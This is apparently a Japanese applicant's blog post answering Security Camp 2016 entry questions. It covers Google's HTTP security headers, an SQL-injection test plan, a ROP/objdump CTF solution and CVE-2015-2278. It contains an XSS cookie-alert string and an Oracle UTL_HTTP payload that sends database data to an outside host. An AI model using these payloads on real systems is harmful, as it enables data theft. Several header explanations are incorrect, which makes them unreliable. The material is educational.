セキュリティキャンプ2016回答
応募課題はこちら. 間違っているところもあるかもしれないのでご容赦.*
選択問題【2】:(ブラウザのセキュリティ機構) Googleは、自社のサービスのセキュリティを高めるために様々なことを行っています。ブラウザからGoogleの検索サービス (https://www.google.co.jp/) にアクセスを行い、どのようなセキュリティ施策が行われているかを見つけなさい。ブラウザは任意のもので構いません。ブラウザのどういった点からどういった施策を行っていると判断できるのか、その理由も含めてできるだけ多くの項目を回答してください。拡張機能を利用しても構いませんが、ブラウザ以外の方法でアクセスしてはいけません。
(safari) 主にHTTPヘッダのもの
1 X-XSS-Protectionを1; mode=blockにしている。
これはクロスサイトスクリプティングを防止するためのものである。同一生成元ポリシーという考え方があり、同一ホスト、同一スキーム(例えば、ftp,http,fileなど)、同一ポートによる時のみ、iframeやwindowの操作などを認める、というものである。これにより、HTTPリクエストを発生させたものと、HTTPレスポンス先のサイトが違う時(この状況は往々にしてXSS脆弱性がある時に起きる)をシャットアウトすることができる。
2 X-Content-Type-Optionsがnonsniffになっている。
ブラウザが、勝手にサイトのスクリプトを検索して、それを実行するのを防ぐためである。 このサイトは、あらかじめ、同じようにHTTPリクエストヘッダに、content-typeを決めているのであるが、その情報を無視した挙動、例えばスクリプトを勝手に読み込んでしまうようなことがおきる。これを防ぐため、nonsniffとすることで、content-type以外の読み取り方をしないようにしている。
(googlechrome)
3 xss-frame-optionがSAMEORIGIN、ものによっては
?text%20=%20%3Cscript%3Ealert(document.cookie)%3C/script%3E
には、DENYになっている。
これはiframe内でのアクセスを、同一生成元オリジンの場合のみ、表示する、というものである。 なぜこのようなことをするのか、というと、これはクリックジャック攻撃を避けるためである。クリックジャック攻撃とは、透明なiframeの情報の上に、CSSセレクター乗せて、ユーザーをだまして本来予定していないiframeのクリックを実行させる、というものである。これを防止する上で、iframeの実行を制限するのは肝要である。
4 access-control-allow-originが*
これは、サーバー側が、アクセスしていいサイトを制限するものである。このサイトに関しては、誰しもが使用していいようになっている。これは、特定のサイトからのアクセスを禁止するためのものに使用することができる、と考えても良さそうである。これによって、危険な特定のサイトからのアクセスを禁止できる。
5 VM2870:1 Uncaught DOMException: Failed to set the 'domain' property on 'Document': 'jp' is a top-level domain.(…)
ドキュメントドメインを設定する上で、com.jpが使えない。
ドメインオリジンを書くことにより、同一ホストと判断するための基準としている。これにより、異なるドメインからのリクエストをシャットアウトすることができる。
6 var DOMAIN_ORIGIN = 'https://www.google.co.jp';
ドメインオリジンを書くことにより、同一ホストと判断するための基準としている。これにより、異なるドメインからのリクエストをシャットアウトすることができる。
7 auto-completeがoffになっている。
クレジットカードの番号などを、勝手に予測させないため、このような仕様になっている。
選択問題【6】:(webappのペンテスト)IDとパスワードを入力してユーザの認証を行うWebアプリがあります。あなたがこのアプリに対してセキュリティテストを行う場合、まず、どのようなテストをしますか? なぜそのテストを選択したのか、その背景や技術的根拠と共に記載してください。アプリの内部で使われている技術やシステム構成に、前提を置いても構いません。
以上のウェブアプリのペンテストを実行する上で、まず最初に選択するのが、sqlインジェクションを判定するためのテストである。
理由は、顧客の個人情報をそのまま取得できる可能性があるので、もしこの脆弱性があったとすると、数ある脆弱性の中でも被害が甚大になる可能性があるからだ。例えば、XSSなどというと、マルウェアやクッキーを取られる可能性があるのであるが、マルウェア対策であったり、それに対する対策をしていると、防げる可能性がある。つまり、マルウェアやクッキー対策を怠った上で、XSSのあるサイトを踏んだりすると、初めて甚大なダメージになるのである。
しかし、SQLインジェクションの場合、その脆弱性たった一つのみで、直接そのまま顧客の情報を抜きとれる可能性があるため、被害を食らう可能性が高い。実際、OWASP Top 10 2013においても、注意するべき脆弱性一位として紹介している。実際、どのようなテストをするのか、ということであるが、まず1or “1” = “1”という文を打って、脆弱性があるのかどうか確認する。脆弱性が存在する、ということを確認したら、以上のようにサーバーの種類を確認するプログラムを打ち込む。
%00id=10||UTL_HTTP.request(‘xxx.com:80’||(SELECT user FROM DUAL)--
xxx.comというのは、テスターのサーバーであり、80番ポートから命令を受け取っている。%00を頭に挟むことで、ファイヤーウォールを回避することができる。SELECT user FROM DUALでは、表にはないが、データベースの中にある情報を抜く時に使う。
なぜ、このテストを選択したのか、というと、他のsqlのテスト、例えばunionを使うような攻撃などは、脆弱性があっても、エラーを返すというデータベース側からの情報がないと、確かめることができないものであるからである。
もし、この攻撃が通って、サーバーの情報を送るようになったら、攻撃者が同じように応用ができる、ということを示唆する。これでデータベースの情報を取得した上で、insertやupdateを使ってデータベースを書き換えたりすることができる。
選択問題【8】:(ROPチェーン)以下のダンプはあるプログラムのobjdumpの結果である。このプログラムが行っていることを調べ、その結果を記述してください。完全には分からなくても構いません ので、理解できたところまでの情報や調査の過程で使ったツール、感じたこと等について記述してください。
結論:c@Np2Ol6を入力すると、正常終了するプログラム
1.前段
まず、個人的な問題なのではあるが、intel表記の方がわかりやすいので、distorm3ライブラリを使って、pythonでバイナリを編集した。
4000fcまでをみると、スタックに特定のアドレスをpushしているか、もしくはraxに0x63391a67251b1536をraxに保存した上で、それをスタックにpushしている。一般的に、スタックに後に積まれたものから先に実行されるものであり、今回もSyscallを示す400119が三回呼ばれている。ということは、カーネルから関数が三回呼び出されているということである。システムコールはそれぞれ番号を割り振られており、raxに格納された関数を対応することで、特定のシステムコールを呼び出す仕組みである。
そこで、syscallの手前で、raxに一体どういう関数が呼び出されているのかというものを見てみようと思う。
最初1回目は、raxに0が格納されている。つまり、システムコールとしてread()関数を読み込んでいることがわかる。
このシステムコールが、第一引数として、0を読み込んでいると考えると、このリード関数は標準入力、つまりコマンドライン上でなにがしかユーザーの入力を受けるものである。そして、第三引数で8を受け取っているところを見るに、8バイトまで入力を受け付けるということがわかる。
実際、システムコールの引数は、それぞれ第一引数から、rdi、rsi、rdx、r10、r10、r8、r9となる。今回のシステムコールでは、それぞれ0、スタックのポインタ、8となっている。read関数では使わないのに、なぜr10をpopしているのか、疑問である。
次のシステムコールは、raxに3cが送り込まれている。これは16進数表記にすると60であるので、ここではexit()関数が読まれていることがわかる。
さらに、三つ目のものは、特にraxを格納していないので、一回目か二回目の分岐先である、ということがわかる。つまり、ここまででわかるのは、実際に8バイトコマンドラインから受け取り、そのあとでプログラムを終わらせている、ということである。
2.後段
ここで、実際にこのファイルを作ってみたい。nasmを使って、課題をアセンブラファイルに編集する。実際、このAT&T表記から、Intel表記に変え、asm.oファイルとして編集した。編集するにあたり、スタックに積まれるメモリアドレスは、最初に積まれた順番から、func1、func2(つまり0x400119はfunc1、0x400106はfunc2)として編集した。
編集し、コマンドラインでこのファイルを実行した結果、確かにコマンドラインから受け取った。そして、8バイト以上のデータを流すと、その余った分は、次のコマンドラインのための文字列として処理された。つまり、このファイルの実行の際、aaaaaaaaaとaを9個入れると、その余りの一文字がスクリプトとして解釈されてしまう。
そして、このファイルを、GDBをつかって、実際にどのように動いているのか、調べてみた。
400080から、4000fcまででスタックを積み、そして次の命令であるretからスタック上の命令が実行され、そして標準入力を受けるまでは、前段の見立てと一緒であった。スタックに後から積まれた順に、ripレジスタがそのアドレスに移っていき、実行されていく。しかし、その後また違う挙動をする。
というのは、最初にrbpポインタに0xffffffffffffffe0を保存した後、rcxレジスタに7を格納している。ということは、ここでforループに準ずる操作があるということになる。
その後、xorという、排他的論理和の命令を実行する。rsiレジスタの位置とカウンタ分の文字を足すと、そのアドレスにあるのは、先ほど入力した8バイトの文字列の、一番最後に入力したものである。これを、0x55をつかって排他的論理和を取り、その場所に変換したものを格納する。また、この時にrcxの、カウンタがデクリメントされる。その操作の後に、r10にraxをpopする命令を格納した後、先ほどのrbpをrspに足して、またxorの処理の先頭に戻している。これを、7回続ける。
7回続けると、rcxが0になり、従ってzfも0になり、ジャンプしない。すると、ループ内で格納されたpop raxという関数が実行され、ループに突入するための命令であるadd rsp rbpを格納する。これを察するに、ここでレジスタは、分岐する命令の、実行されない方を格納することで、条件分岐を成立させていることがわかる。
add rsp rbp命令はraxに格納され使われていないので、そのままスタック内の命令が実行される。そしてその後、raxに、0x63391a67251b1536という文字列が格納される。この文字列と入力した文字列を比べて、raxに3cを入れてexit()を呼び出した上で、jne 0x40012cと分岐させる。
もし、先の8バイト文字列を打つ段階でaaaaaaaaと打ったとしよう。すると、先のraxに格納された0x63391a67251b1536とは違うのでzfは1になる。Jneでは、zfが0ではないので、r10にsyscallの入ったアドレスを格納し、rdiに1を入れて、その関数を終わらせる。つまり、第一引数に1を入れ、異常終了するのである。
もし、zfが0だった時をたどると、そのままsyscallを呼び出し、正常に終了させていることがわかる。そうさせるためには、cmpの命令で、0x63391a67251b1536と同じものを、xorの命令を通してコマンドラインに打ち込む必要がある。
そこで、0x63391a67251b1536の排他的論理和をとって、asc2コードと比較させてみる。エンディアンを考慮してみると、コマンドラインにc@Np2Ol6という、8バイトの文字列を入れるといいことになる。
実際にそのように入力してgdbで見てみると、確かに正常終了する分岐に行っていることがわかる。実際に実行すると、空欄の列を一行表示した。おそらく、ctfでここにフラグが入っているのだろうと想定される。
選択問題【11】:((サーバーサイド?)の脆弱性の紹介とその攻撃検知)2015 年に発行された CVE の内、あなたが興味を持った ”サーバに存在した” 脆弱性について1つ提示してください。その脆弱性を悪用した攻撃を検知する方法について詳細に記述してください。また、興味を持った理由を記述してください。
CVE-2015-2278 LZH decompression out-of-bounds read SAP社のアプリケーションサーバー, SAP Netweaver Application Server ABAP, SAP Netweaver Application Server Java内の圧縮アルゴリズム内に存在するout-of-bounds read
攻撃検知: 攻撃検知手法を提案するにあたって、まず、脆弱性がどのようにして起きるのか、ということを紹介したいと思う。以下が、問題のあるコードの部分である。①が、問題のあるコードの引数を示したものであり、また②は、コードの問題部分を示したものである。
①:
c:vulnerablefunc_argument.c
int CsObjectInt::BuildHufTree (
unsigned * b, /* code lengths in bits (all assumed <= BMAX) */
unsigned n, /* number of codes (assumed <= N_MAX) */
unsigned s, /* number of simple-valued codes (0..s-1) */
int * d, /* list of base values for non-simple codes */
int * e, /* list of extra bits for non-simple codes */
HUFTREE **t, /* result: starting table */
int * m) /* maximum lookup bits, returns actual */
②:
c:vulnerablefunc_code.c
if (p >= v + n)
{
r.e = INVALIDCODE; /* out of values--invalid code */
}
else if (*p < s)
{ /* 256 is end-of-block code */
r.e = (unsigned char)(*p < 256 ? LITCODE : EOBCODE);
r.v.n = (unsigned short) *p; /* simple code is just the value*/
p++;
}
else
{
r.e = (unsigned char) e[*p - s]; /*non-simple,look up in lists*/
r.v.n = (unsigned short) d[*p - s];
p++;
}
この脆弱性で問題になるのは、e[*p - s]、d[*p - s]配列で、out-of-bounds readができてしまうというものである。
p*は、関数内で定義したunsigned int型の整数が格納されていて、一方でsは、コメントにもあるように、データ化されたコードの、特定の部分の数字を示すものである。
なぜ以上のような不具合がしまうのか、というと、この関数内において、int型であるオーバーフローを確認していないからである。
以上のように、sは、intで定義されている。intの範囲は、-2,147,483,648 ~ 2,147,483,647である。もし最大値がこれを超えてしまうと、-2,147,483,648に戻ってしまい、そこから超えた分がプラスされてしまう。
ここで、sで、最小値近くに戻ってしまう、以上のようなのようなintのオーバーフローがあったという条件のもとで、ifの条件文について見てみようと思う。②の五行目を参考にすると、*p<sか否かで条件分岐が行われている。オーバーフローした条件では、else以降に行くのは明白である。その上で、*p - sについてみると、マイナスがプラスになるおかげで、最大値近い正の数が配列の番号に指定されてしまい。プログラムがクラッシュしてしまう。
これに対するカウンターメジャーとしては、sのオーバーフローを検出する仕組みが必要である。オーバーフローした数は、全部負の整数になる。つまり、以下のような関数をマクロとして定義するのが攻撃検知として有効である。
# define INTEGER OVERFLOW
if(s < 0)
{
break;
}
興味を持った理由:
この脆弱性を知ったのは、2015年度のPwnie Awardsにてbest server-side bugに認定されていたからである。
この脆弱性は、SAP社のサーバーでデフォルトで使われている圧縮プログラム中に存在している。プログラマーのたった一つのミスのせいで、SAPの製品全体にダメージを与えてしまうということで、かなり不憫だな、と印象に残っていて、だから私は今回これについて取り上げてみようと思った。
(恩着せがましいかもしれないけど)アドバイス
好きな分野だけでもいいので,英語やソースコードを細かく読み込んで,その情報をもとに手を動かす.